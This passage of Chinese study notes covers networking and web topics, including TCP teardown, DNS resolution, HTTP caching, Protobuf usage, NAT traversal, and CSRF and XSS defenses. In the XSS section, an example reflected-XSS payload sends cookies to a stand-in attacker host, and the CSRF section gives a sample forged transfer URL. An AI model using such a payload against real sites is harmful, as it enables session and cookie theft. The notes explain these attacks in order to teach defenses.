  • 服务端处理完后被动关闭再次向客户端发送FIN以及ACK,进入LAST-ACK状态,
  • 客户端收到服务端发来的FIN后,发送 ACK 给服务端。在等待2MSL后进入CLOSED状态

为什么不是三次挥手

  • 因为服务端在接收到FIN, 往往不会立即返回FIN, 必须等到服务端所有的报文都发送完毕了,才能发FIN
  • 因此先发一个ACK表示已经收到客户端的FIN,延迟一段时间才发FIN。这就造成了四次挥手。 如果是三次挥手会有什么问题? 等于说服务端将ACKFIN的发送合并为一次挥手,长时间的延迟可能会导致客户端误以为FIN没有到达客户端,从而让客户端不断的重发FIN

TCP连接复用(TCP Connection Reuse)

https://blog.csdn.net/gao_yu_long/article/details/79754541

TCP连接复用技术通过将前端多个客户的HTTP请求复用到后端与服务器建立的一个TCP连接上。这种技术能够大大减小服务器的性能负载,减少与服务器之间新建TCP连接所带来的延时,并最大限度的降低客户端对后端服务器的并发连接数请求,减少服务器的资源占用。

一般情况下,客户端在发送HTTP请求之前需要先与服务器进行TCP三次握手,建立TCP连接,然后发送HTTP请求。服务器收到HTTP请求后进行处理,并将处理的结果发送回客户端,然后客户端和服务器互相发送FIN并在收到FIN的ACK确认后关闭连接。在这种方式下,一个简单的HTTP请求需要十几个TCP数据包才能处理完成。

采用TCP连接复用技术后,客户端(如:ClientA)与负载均衡设备之间进行三次握手并发送HTTP请求。负载均衡设备收到请求后,会检测服务器是否存在空闲的长连接,如果不存在,服务器将建立一个新连接。当HTTP请求响应完成后,客户端则与负载均衡设备协商关闭连接,而负载均衡则保持与服务器之间的这个连接。当有其它客户端(如:ClientB)需要发送HTTP请求时,负载均衡设备会直接向与服务器之间保持的这个空闲连接发送HTTP请求,避免了由于新建TCP连接造成的延时和服务器资源耗费。

TCP粘包

TCP粘包是指在TCP连接中,发送端连续向接收端发送多个数据包,在接收端由于一次性读取数据不完整或读取数据过程中发生延迟等原因导致多个数据包被合并成一个数据块的现象。这样就会造成接收端难以正确解析数据,进而影响正常的通信。

TCP粘包可能是因为TCP协议为了提高数据传输的效率而采用的流模式传输,而不是像UDP一样按照报文进行传输。因此,在接收端需要通过额外的处理方法来正确地处理粘包现象。

常见的处理方法包括:

  1. 定长分包:发送端在发送数据包前,将数据按照固定的长度进行分包,接收端按照同样的长度来接收和解析数据。
  2. 变长分包:发送端在数据包中添加特定标识符或长度字段,接收端根据特定标识符或长度字段来定位和解析数据。
  3. 使用消息边界:每个数据包之间添加特定的消息边界,例如特定的字符或者特殊的分隔符,接收端根据消息边界来区分不同的数据包。
  4. 使用定时发送:发送端在发送数据包前,固定等待一定的时间,确保接收端能够将之前的数据包处理完毕,再进行下一次发送。这样可以避免接收端在处理数据包过程中造成粘包现象。

以上是常见的处理TCP粘包的方法,具体的处理方式可以根据实际需求和情况进行选择。

UDP

UDP(用户数据报协议)是一种简单的网络通信协议,属于传输层协议,与TCP(传输控制协议)相对。它在IP协议之上工作,主要用于在网络中传输数据。

  1. 无连接:UDP是无连接的,这意味着在发送数据之前不需要建立和维持连接,这使得它的开销比较小,传输效率较高。
  2. 不可靠:UDP不提供确认机制,也不保证数据包的顺序,因此发送的数据包可能会丢失、重复或乱序到达。应用层需要自行处理这些问题。
  3. 数据报形式:UDP将数据以数据报的形式发送,每个数据报都是独立的,可以独立处理。
  4. 低延迟:由于没有连接建立的过程,UDP通常用于需要快速传输的场景,如在线游戏、视频会议和实时语音通话等。
  5. 简单的头部结构:UDP头部较小,只有8个字节,包含源端口、目的端口、长度和校验和等信息,减少了协议的复杂性。

NTP

网络时间协议

https://info.support.huawei.com/info-finder/encyclopedia/zh/NTP.html

网络时间协议NTP(Network Time Protocol)是TCP/IP协议族里面的一个应用层协议,用来使客户端和服务器之间进行时钟同步,提供高精准度的时间校正。NTP服务器从权威时钟源(例如原子钟、GPS)接收精确的协调世界时UTC,客户端再从服务器请求和接收时间。

DNS协议

DNS 协议提供的是一种主机名到 IP 地址的转换服务,就是我们常说的域名系统。它是一个由分层的 DNS 服务器组成的分 布式数据库,是定义了主机如何查询这个分布式数据库的方式的应用层协议。DNS 协议运行在 UDP 协议之上,使用 53 号 端口。

DNS 预解析

https://developer.mozilla.org/zh-CN/docs/Web/Performance/dns-prefetch

网页链接

DNS 请求需要的带宽非常小,但是延迟却有点高,这点在手机网络上特别明显。DNS预解析 能让延迟明显减少一些,例如用户点击链接时。在某些情况下,延迟能减少一秒钟。

DNS 预解析(DNS Prefetching)是一种优化技术,旨在提高网页加载速度和用户体验。它的主要作用包括:

  1. 减少延迟:通过提前解析网页中所有链接的域名,浏览器可以在用户点击链接之前,就已经获取了这些网址的 IP 地址。这减少了 DNS 请求的时间,从而加速页面的加载。
  2. 改善用户体验:当用户点击链接或与页面交互时,预解析可以使目标页面的加载更加流畅,几乎没有等待时间。用户感受到的响应速度更快,这有助于提高网站的整体使用体验。
  3. 节省带宽:虽然预解析会增加初始的数据请求,但通过更快地加载页面,实际的页面交互可能会减少网络带宽的占用,因为用户在等待时不需要刷新或重新请求内容。
  4. 降低服务器负载:通过减少请求延迟,预解析可以帮助减轻特定域名的服务器负担,因为在用户访问页面时,相关资源可能已经被解析并准备好。

实现方式

DNS 预解析通常通过 HTML 中的 <link rel="dns-prefetch"> 标签来实现,或者在浏览器设置中进行配置。许多现代浏览器也默认启用 DNS 预解析。

解析过程

https://www.zhihu.com/question/23042131

DNS( Domain Name System)是“域名系统”的英文缩写,是一种组织成域层次结构的计算机和网络服务命名系统,它用于TCP/IP网络,它所提供的服务是用来将主机名和域名转换为IP地址的工作。

DNS 的过程?

DNS是应用层协议,事实上他是为其他应用层协议工作的,包括不限于HTTP和SMTP以及FTP,用于将用户提供的主机名解析为ip地址。

具体过程如下:

  • 用户主机上运行着DNS的客户端,就是我们的PC机或者手机客户端运行着DNS客户端了
  • 浏览器将接收到的url中抽取出域名字段,就是访问的主机名,比如, 并将这个主机名传送给DNS应用的客户端
  • DNS客户机端向DNS服务器端发送一份查询报文,报文中包含着要访问的主机名字段(中间包括一些列缓存查询以及分布式DNS集群的工作)
  • 该DNS客户机最终会收到一份回答报文,其中包含有该主机名对应的IP地址
  • 一旦该浏览器收到来自DNS的IP地址,就可以向该IP地址定位的HTTP服务器发起TCP连接

 1) 浏览器缓存

  当用户通过浏览器访问某域名时,浏览器首先会在自己的缓存中查找是否有该域名对应的IP地址(若曾经访问过该域名且没有清空缓存便存在);

  2) 系统缓存

  当浏览器缓存中无域名对应IP则会自动检查用户计算机系统Hosts文件DNS缓存是否有该域名对应IP;

  3) 路由器缓存

  当浏览器及系统缓存中均无域名对应IP则进入路由器缓存中检查,以上三步均为客服端的DNS缓存;

DNS 路径选择算法

主机向本地域名服务器的查询一般都是采用递归查询,即如果主机所询问的本地域名服务器不知道被查询域名的IP地址,那么本地域名服务器就以DNS客户的身份,向其他根域名服务器继续发出查询请求报文,而不是让该主机自己进行下一步的查询。因此,递归查询返回的查询结果或是所要查询的IP地址,或是报错。

本地域名服务器向根服务器的查询通常采用迭代查询,即当根域名服务器收到本地域名服务器发出的迭代查询请求报文时,要么给出所要查询的IP地址,要么告诉本地域名服务器“下一次应向那个域名服务器进行查询”。然后让本地域名服务器进行后续的查询。根域名服务器通常把自己知道的顶级域名服务器的IP地址告诉本地域名服务器,让本地域名服务器再向顶级域名服务器查询。顶级域名服务器在收到本地域名服务器的查询请求后,要么给出所要查询的IP地址,要么告诉本地域名服务器下一步应当向哪一个权限域名服务器进行查询。本地域名服务器就这样进行迭代查询。

SPDY 协议

SPDY 是由 google 推行的改进版本的 HTTP1.1 (那时候还没有 HTTP2)。

特性:

  • 多路复用 — 解决队头阻塞
  • 头部压缩 — 解决巨大的 HTTP 头部
  • 请求优先级 — 先获取重要数据
  • 服务端推送 — 填补空缺
  • 提高安全性

多路复用

SPDY 允许在一个连接上无限制并发流。因为请求在一个通道上,TCP 效率更高。更少的网络连接,发出更密集的包。


头部压缩

使用专门的 HPACK 算法,每次请求和响应只发送差异头部,一般可以达到 50% ~90% 的高压缩率。


请求优先级

虽然无限的并发流解决了队头阻塞的问题,但如果带宽受限,客户端可能会因防止堵塞通道而阻止请求。在网络通道被非关键资源堵塞时,提高安全性 请求会被优先处理。


服务端推送

服务端推送(ServerPush),可以让服务端主动把资源文件推送给客户端。当然客户端也有权利选择是否接收。


提高安全性

支持使用 HTTPS 进行加密传输。

OAuth

http://www.ruanyifeng.com/blog/2019/04/oauth_design.html

简单说,OAuth 就是一种授权机制。数据的所有者告诉系统,同意授权第三方应用进入系统,获取这些数据。系统从而产生一个短期的进入令牌(token),用来代替密码,供第三方应用使用。

OAuth 引入了一个授权层,用来分离两种不同的角色:客户端和资源所有者。……资源所有者同意以后,资源服务器可以向客户端颁发令牌。客户端通过令牌,去请求数据。

Protobuf

https://developers.google.com/protocol-buffers

Protocol buffers are a language-neutral, platform-neutral extensible mechanism for serializing structured data.

协议缓冲区是一种语言无关、平台无关的可扩展机制,用于序列化结构化数据。

Google最初开发了Protocol Buffers用于内部使用。Protocol Buffers的设计目标是简单和性能。特别地,它被设计地与XML相比更小且更快。

Protocol Buffers在Google内被广泛用来存储和交换各种类型的结构化数据。在Google,它被当作一个RPC系统的基础,并被用于几乎所有的跨服务器通信。

优缺点

https://www.cnblogs.com/niuben/p/14212711.html

优点:

  • 性能好/效率高
  • 有代码生成机制
  • 支持向后兼容和向前兼容
  • 支持多种编程语言

缺点:

  • 二进制格式导致可读性差
  • 缺乏自描述
  • 通用性差

npm 包

npm 包 protobufjs

protobuf.js is a pure JavaScript implementation with TypeScript support for node.js and the browser. It’s easy to use, blazingly fast and works out of the box with .proto files

protobuf.js是一个纯JavaScript实现,支持node.js和浏览器的TypeScript。它很容易使用,非常快,并且可以用。proto文件开箱即用


结合npm scripts

  "scripts": {
    "protojs": "pbjs -r apaas -t json-module -w commonjs -o src/protobuf/index.js  src/protobuf/messages/*.proto",
    "protots": "pbjs -t static-module src/protobuf/messages/*.proto | pbts -o src/protobuf/index.d.ts -",
    "proto": "run-s protojs protots"
  },

例子:report上报

// protobuf 编译出来的js
import {
  ApaasUserJoin,
} from '../protobuf';


export class ReportServiceV2  {
  protected Uint8ToBase64(u8Arr: Uint8Array): string {
    const CHUNK_SIZE = 0x8000; //arbitrary number
    let index = 0;
    const length = u8Arr.length;
    let result = '';
    let slice: any;
    while (index < length) {
      slice = u8Arr.subarray(index, Math.min(index + CHUNK_SIZE, length));
      result += String.fromCharCode.apply(null, slice);
      index += CHUNK_SIZE;
    }
    return btoa(result);
  }
  protected buildUserJoinPaylod(payloadParams: ReportUserParams): string {
    let errMsg = ApaasUserJoin.verify(payloadParams);
    if (errMsg) throw Error(errMsg);
    let message = ApaasUserJoin.create(payloadParams);
    let buffer = ApaasUserJoin.encode(message).finish();
    return this.Uint8ToBase64(buffer);
  }
  protected buildBaseParams(id: number, src: string, payload: string): ReportParams {
    const qos = this.qos;
    const ts = Math.floor(new Date().getTime() / 1000);
    const sign = md5(`payload=${payload}&src=${src}&ts=${ts}`);
    return {
      id,
      src,
      payload,
      qos,
      ts,
      sign,
      requestId: this.reportUserParams.uid + new Date().valueOf(),
    };
  }
  protected buildUserJoinParams(
    src: string,
    payloadParams: ReportUserParams,
    lts: number,
    errorCode: number,
  ): ReportParams {
    const id = 9012;
    payloadParams.lts = lts;
    payloadParams.errorCode = errorCode;
    const payload = this.buildUserJoinPaylod(payloadParams);
    return this.buildBaseParams(id, src, payload);
  }
  async reportUserJoin(lts: number, errorCode: number) {
    const res = await this.fetch({
      path: `/v2/report`,
      method: 'POST',
      data: this.buildUserJoinParams('apaas', this.reportUserParams, lts, errorCode);,
    });
    return res.data;
  }

}

NAT

网络地址转换协议Network Address Translation (NAT) 用来给你的(私网)设备映射一个公网的 IP 地址的协议。一般情况下,路由器的 WAN 口有一个公网 IP,所有连接这个路由器 LAN 口的设备会分配一个私有网段的 IP 地址(例如 192.168.1.3)。私网设备的 IP 被映射成路由器的公网 IP 和唯一的端口,通过这种方式不需要为每一个私网设备分配不同的公网 IP,但是依然能被外网设备发现。

一些路由器严格地限定了部分私网设备的对外连接。这种情况下,即使 STUN 服务器识别了该私网设备的公网 IP 和端口的映射,依然无法和这个私网设备建立连接。这种情况下就需要转向 TURN 协议。

NAT穿透

NAT穿透是一种网络技术,用于在网络中通过网络地址转换(NAT)设备进行通信。NAT通常用于将私有IP地址转换为公共IP地址以实现多台计算机共享同一个公共IP地址。然而,NAT会对网络连接产生限制,特别是在p2p(点对点)或客户端与服务器之间直接通信的情况下。

NAT穿透技术允许在通过NAT设备的网络环境中建立直接的点对点连接,而无需中间服务器的转发。通过使用各种技术,如端口映射、UPnP(通用即插即用协议)和STUN(简单穿越UDP网络)等,NAT穿透技术可以帮助绕过NAT设备的限制,使得两个或多个设备能够直接通信。

NAT穿透可以提高网络连接速度、降低延迟,并允许在不同的设备之间共享文件、进行远程桌面访问、进行语音/视频通话等。它被广泛应用于p2p应用程序、在线游戏和实时通信应用程序中。

TURN

TURN是Traversal Using Relays around NAT的缩写,指的是一种用于在网络中穿越NAT的协议。NAT(Network Address Translation)是一种常见的网络技术,用于将内部网络的私有IP地址转换为外部网络的公共IP地址,从而实现多台设备共享一个公网IP地址。

然而,由于NAT的存在,导致在一些情况下,两台设备之间无法直接建立连接,需要通过一个中间节点进行转发。这就是TURN协议的作用,它提供了一种机制,使得位于不同NAT后面的设备能够建立起连接并进行通信,即使它们之间存在NAT或防火墙。

TURN协议的原理是在两台设备之间建立一个可信任的中继服务器,当设备A无法直接连接到设备B时,设备A将数据传输给中继服务器,中继服务器再将数据转发给设备B。这样,通过中继服务器的转发,设备A和设备B可以进行通信。

TURN协议主要用于实时通信应用中,比如语音通话、视频聊天等。它可以有效解决NAT穿越的问题,提供可靠的通信服务。

X-Cache Header

https://stackoverflow.com/questions/3027492/x-cache-header-explanation

CDN (Content Delivery Network) adds X-cache header to HTTP Response. X-cache:HIT means that your request was served by CDN, not origin servers. CDN is a special network designed to cache content, so that usr request served faster + to unload origin servers.

CDN(内容传递网络)将X-cache头添加到HTTP响应中。x -高速缓存:命中意味着你的请求是由CDN服务的,而不是源服务器。CDN是一种特殊的网络,旨在缓存内容,使usr请求服务更快+卸载源服务器。

Furthermore, there are a bunch of “X- “ headers provided by CDNs. They indicate HIT, MISS etc. You can simply install firebug plugin in firefox and request some progressive download video, probably it’ll be served by cdn node, so the HOST header in response might contain smth like cdn.rt.com and there will be “X- “ headers

此外,CDNs还提供了一堆“X-”头信息。它们表示命中、未命中等。你可以简单地在firefox中安装firebug插件并请求一些渐进的下载视频,可能它会被cdn节点服务,所以主机头响应可能包含smth像cdn.rt.com,将有“X-”头

X-Cache corresponds to the result, whether the proxy has served the result from cache (HIT for yes, and MISS for no)

X-Cache与结果相对应,无论代理是否已从缓存提供结果(HIT为是,MISS为否)

Referer

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Referer

Referer 请求头包含了当前请求页面的来源页面的地址,即表示当前页面是通过此来源页面里的链接进入的。服务端一般使用 Referer 请求头识别访问来源,可能会以此进行统计分析、日志记录以及缓存优化等。

缓存相关

循序漸進理解 HTTP Cache 機制

Cache-Control

Cache-Control是通用首部字段,请求报文和响应报文双方都会使用的首部

通过指定首部字段 Cache-Control 的指令,就能操作缓存的工作机 制。

指令的参数是可选的,多个指令之间通过“,”分隔。首部字段 CacheControl 的指令可用于请求及响应时

Cache-Control: private, max-age=0, no-cache
  • no-store: 真正的不进行缓存
  • no-cache: 告诉浏览器、缓存服务器,不管本地副本是否过期,使用资源副本前,一定要到源服务器进行副本有效性校验。 (所以一个重要的注意点:no-cache不是没有缓存)
  • must-revalidate:告诉浏览器、缓存服务器,本地副本过期前,可以使用本地副本;本地副本一旦过期,必须去源服务器进行有效性校验。

no-cache从字面意义上很容易误解为不缓存,但是no-cache代表不缓存过期的资源,缓存会向服务器进行有效处理确认之后处理资源,更确切的说,no-cache应该是do-not-serve-from-cache-without-revalidation

no-cache的目的就是为了防止从缓存中获取过期的资源。

浏览器缓存

网站链接

使用 HTTP 缓存避免不必要的网络请求

https://juejin.cn/post/6844903737538920462

  • 强缓存 (直接拿来用) 用户发送的请求,直接从客户端缓存中获取,不发送请求到服务器,不与服务器发生交互行为。
    • Expires Expires:Thu,21 Jan 2017 23:39:02 GMT(绝对时间 服务器下发的) 存在的问题:服务器时间与客户端时间的不一致,就会导致缓存跟期待效果出现偏差。
    • Cache-Control Cache-Control:max-age=3600(相对时间 单位:秒 客户端)
  • 协商缓存 (问一下服务器) 用户发送的请求,发送到服务器后,由服务器判定是否从缓存中获取资源。
    • Last-Modified if-Modified-Since Last-Modified:Wed,26 Jan 2017 00:35:11 GMT
    • Etag if-None-Match (相当于hash值)

两者的区别:从名字就可以看出,强缓存不与服务器交互,而协商缓存则需要与服务器交互。

![enter description here][13]

简单介绍下Cache-Control的属性设置:

  1. max-age: 设置缓存的最大的有效时间,单位为秒(s)。max-age会覆盖掉Expires (注意:max-age 和 Expires 都属于强缓存)
  2. s-maxage: 只用于共享缓存,比如CDN缓存(s -> share)。与max-age 的区别是:max-age用于普通缓存, 而s-maxage用于代理缓存。如果存在s-maxage,则会覆盖max-age 和 Expires.
  3. public:响应会被缓存,并且在多用户间共享。默认是public。
  4. private: 响应只作为私有的缓存,不能在用户间共享。如果要求HTTP认证,响应会自动设置为private。
  5. no-cache: 指定不缓存响应,表明资源不进行缓存。但是设置了no-cache之后并不代表浏览器不缓存,而是在缓存前要向服务器确认资源是否被更改。因此有的时候只设置no-cache防止缓存还是不够保险,还可以加上private指令,将过期时间设为过去的时间。
  6. no-store: 绝对禁止缓存。
  7. must-revalidate: 如果页面过期,则去服务器进行获取。
  • no-cache: 告诉浏览器、缓存服务器,不管本地副本是否过期,使用资源副本前,一定要到源服务器进行副本有效性校验
  • must-revalidate:告诉浏览器、缓存服务器,本地副本过期前,可以使用本地副本;本地副本一旦过期,必须去源服务器进行有效性校验。

https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching?hl=zh-cn#%E2%80%9Cno-cache%E2%80%9D%E5%92%8C%E2%80%9Cno-store%E2%80%9D

“public”与 “private”

如果响应被标记为“public”,则即使它有关联的 HTTP 身份验证,甚至响应状态代码通常无法缓存,也可以缓存响应。 大多数情况下,“public”不是必需的,因为明确的缓存信息(例如“max-age”)已表示响应是可以缓存的。

相比之下,浏览器可以缓存“private”响应。 不过,这些响应通常只为单个用户缓存,因此不允许任何中间缓存对其进行缓存。 例如,用户的浏览器可以缓存包含用户私人信息的 HTML 网页,但 CDN 却不能缓存。

缓存流程

![enter description here][14]

  1. 查看是否有cache-control 的max-age / s-maxage , 如果有,则用服务器时间date值 + max-age/s-maxage 的秒数计算出新的过期时间,将当前时间与过期时间进行比较,判断是否过期
  2. 查看是否有cache-control 的max-age / s-maxage,没有,则用expires 作为过期时间比较

![enter description here][15]

判断过程执行完后,如果判定为未过期,则使用客户端缓存,那么就是属于”强缓存”,否则,跟服务器协商是否使用缓存,这就属于”协商缓存”

![enter description here][16]

到这一步的时候,浏览器会向服务器发送请求,同时如果上一次的缓存中有Last-modified 和 Etag 字段, 浏览器将在request header 中加入If-Modified-Since(对应于Last-modified), 和If-None-Match(对应于Etag)

  • Last-modified: 表明请求的资源上次的修改时间。
  • If-Modified-Since:客户端保留的资源上次的修改时间。
  • Etag:资源的内容标识。(不唯一,通常为文件的md5或者一段hash值,只要保证写入和验证时的方法一致即可)
  • If-None-Match: 客户端保留的资源内容标识。

1) 分布式系统尽量关闭Etag,因为每台机器生成的Etag都不一样。 2) 分布式系统里多台机器间文件的Last-Modified必须一致,以免负载均衡不同导致对比失败。

最后附上一张,用户行为影响浏览器的缓存行为。

浏览器缓存淘汰策略

https://juejin.im/post/5e8b3085f265da47c15cb8bb?utm_source=gold_browser_extension

浏览器中的缓存是一种在本地保存资源副本,它的大小是有限的,当我们请求数过多时,缓存空间会被用满,此时,继续进行网络请求就需要确定缓存中哪些数据被保留,哪些数据被移除

最常见的淘汰策略有 FIFO(先进先出)、LFU(最少使用)、LRU(最近最少使用)。

LRU ( Least Recently Used :最近最少使用 )缓存淘汰策略,故名思义,就是根据数据的历史访问记录来进行淘汰数据,其核心思想是 如果数据最近被访问过,那么将来被访问的几率也更高 ,优先淘汰最近没有被访问到的数据。

在 vue2.5.0 版本中,keep-alive 新增了 max 属性,用于最多可以缓存多少组件实例,一旦这个数字达到了,在新实例被创建之前,已缓存组件中最久没有被访问的实例会被销毁掉,看,这里就应用了 LRU 算法。即在 keep-alive 中缓存达到 max,新增缓存实例会优先淘汰最近没有被访问到的实例

网络安全

  • CSRF
  • XSS

CSRF

网页链接 CSRF跨站点请求伪造(Cross—Site Request Forgery)

攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

CSRF攻击攻击原理及过程:

  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
  2. 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
  3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
  4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
  5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

CSRF漏洞检测:

检测CSRF漏洞是一项比较繁琐的工作,最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。

随着对CSRF漏洞研究的不断深入,不断涌现出一些专门针对CSRF漏洞进行检测的工具,如CSRFTester,CSRF Request Builder等。

以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:使用CSRFTester进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。

防御CSRF攻击:

  • 验证 HTTP Referer 字段;

  • 在请求地址中添加 token 并验证

  • 在 HTTP 头中自定义属性并验证。

  • Cookie 设置 SameSite

验证 HTTP Referer 字段: 根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。在通常情况下,访问一个安全受限页面的请求来自于同一个网站,比如需要访问 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory,用户必须先登陆 bank.example,然后通过点击页面上的按钮来触发转账事件。这时,该转帐请求的 Referer 值就会是转账按钮所在的页面的 URL,通常是以 bank.example 域名开头的地址。而如果黑客要对银行网站实施 CSRF 攻击,他只能在他自己的网站构造请求,当用户通过黑客的网站发送请求到银行时,该请求的 Referer 是指向黑客自己的网站。因此,要防御 CSRF 攻击,银行网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank.example 开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。

这种方法的显而易见的好处就是简单易行,网站的普通开发人员不需要操心 CSRF 的漏洞,只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统,不需要改变当前系统的任何已有代码和逻辑,没有风险,非常便捷。

然而,这种方法并非万无一失。Referer 的值是由浏览器提供的,虽然 HTTP 协议上有明确的要求,但是每个浏览器对于 Referer 的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来讲,这样并不安全。


在请求地址中添加 token 并验证: CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

这种方法要比检查 Referer 要安全一些,token 可以在用户登陆后产生并放于 session 之中,然后在每次请求时把 token 从 session 中拿出,与请求中的 token 进行比对,但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求,token 将附在请求地址之后,这样 URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来说,要在 form 的最后加上 <input type=”hidden” name=”csrftoken” value=”tokenvalue”/>,这样就把 token 以参数的形式加入请求了。但是,在一个网站中,可以接受请求的地方非常多,要对于每一个请求都加上 token 是很麻烦的,并且很容易漏掉,通常使用的方法就是在每次页面加载时,使用 javascript 遍历整个 dom 树,对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求,但是对于在页面加载之后动态生成的 html 代码,这种方法就没有作用,还需要程序员在编码时手动添加 token。

该方法还有一个缺点是难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站,黑客可以在上面发布自己个人网站的地址。由于系统也会在这个地址后面加上 token,黑客可以在自己的网站上得到这个 token,并马上就可以发动 CSRF 攻击。为了避免这一点,系统可以在添加 token 的时候增加一个判断,如果这个链接是链到自己本站的,就在后面添加 token,如果是通向外网则不加。不过,即使这个 csrftoken 不以参数的形式附加在请求之中,黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的原因。


在 HTTP 头中自定义属性并验证 这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去。

然而这种方法的局限性非常大。XMLHttpRequest 请求通常用于 Ajax 方法中对于页面局部的异步刷新,并非所有的请求都适合用这个类来发起,而且通过该类请求得到的页面不能被浏览器所记录下,从而进行前进,后退,刷新,收藏等操作,给用户带来不便。另外,对于没有进行 CSRF 防护的遗留系统来说,要采用这种方法来进行防护,要把所有请求都改为 XMLHttpRequest 请求,这样几乎是要重写整个网站,这代价无疑是不能接受的。


使用axios防止 CSRF

原理: axios默认在Request Config里已经设置了

 //  ``xsrfCookieName`是用作xsrf标记值的cookie的名称
  xsrfCookieName ' XSRF-TOKEN '//  默认  
 
  //  ``xsrfHeaderName`是携带xsrf标记值的http标头的名称
  xsrfHeaderName ' X-XSRF-TOKEN '//  默认  

XSS

网页链接

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

反射型: URL的构成分为协议、域名、端口、路径、查询几部分构成。 XSS往往在“查询”部分发现漏洞构造攻击代码实施攻击,所谓“反射”可以理解为hacker并不会直接攻击客户,而是通过URL植入代码通过服务器获取并植入到用户页面完成攻击。

存储型: 存储型存储型攻击方式和反射型最大的区别就是不通过URL来传播,而是利用站点本身合法的存储结构,比如评论。任何用户都可以通过站点提供的接口提交评论内容,这些评论内容都被存储到服务器的数据库。当用户访问这些评论的时候,服务器从数据库提取内容插入到页面反馈给用户。如果评论内容本身是具备攻击性内容,用户无一幸免。

XSS的工作原理:

不管是反射型还是存储型,服务端都会将JavaScript当做文本处理,这些文本在服务端被整合进html文档中,在浏览器解析这些文本的过程也就是XSS被执行的时候。

从攻击到执行分为以下几步:

  1. 构造攻击代码
  2. 服务端提取并写入HTML
  3. 浏览器解析,XSS执行

构造攻击代码: hacker在发现站点对应的漏洞之后,基本可以确定是使用“反射型”或者“存储型”。对于反射型这个很简单了,执行类似代码:

https://www.toutiao.com/search?item=<img onerror="new Image().src='//hack.com?c=' src='null'>"

大家知道很多站点都提供搜索服务,这里的item字段就是给服务端提供关键词。如果hacker将关键词修改成可执行的JavaScript语句,如果服务端不加处理直接将类似代码回显到页面,XSS代码就会被执行。

这段代码的含义是告诉浏览器加载一张图片,图片的地址是空,根据加载机制空图片的加载会触发Element的onerror事件,这段代码的onerror事件是将本地cookie传到指定的网站。

XSS的防范措施:

编码: 对于反射型的代码,服务端代码要对查询进行编码,主要目的就是将查询文本化,避免在浏览器解析阶段转换成DOM和CSS规则及JavaScript解析。

DOM Parse和过滤: 从XSS工作的原理可知,在服务端进行编码,在模板解码这个过程对于富文本的内容来说,完全可以被浏览器解析到并执行,进而给了XSS执行的可乘之机。

为了杜绝悲剧发生,我们需要在浏览器解析之后进行解码,得到的文本进行DOM parse拿到DOM Tree,对所有的不安全因素进行过滤,最后将内容交给浏览器,达到避免XSS感染的效果。


Cookies如何防范XSS攻击?

为了减轻这些攻击,需要在HTTP头部配置set-cookie:

  • HttpOnly - 这个属性可以防止cross-site scripting,因为它会禁止Javascript脚本访问cookie。
  • secure - 这个属性告诉浏览器仅在请求为HTTPS时发送cookie。

结果应该是这样的: Set-Cookie: sid=; HttpOnly. 使用Express的话,cookie-session默认配置好了

在cookie-session中httpOnly: a boolean indicating whether the cookie is only to be sent over HTTP(S), and not made available to client JavaScript (true by default).

一个布尔值,指示cookie是否仅通过HTTP(S)发送,并且不提供给客户端JavaScript(true默认情况下)


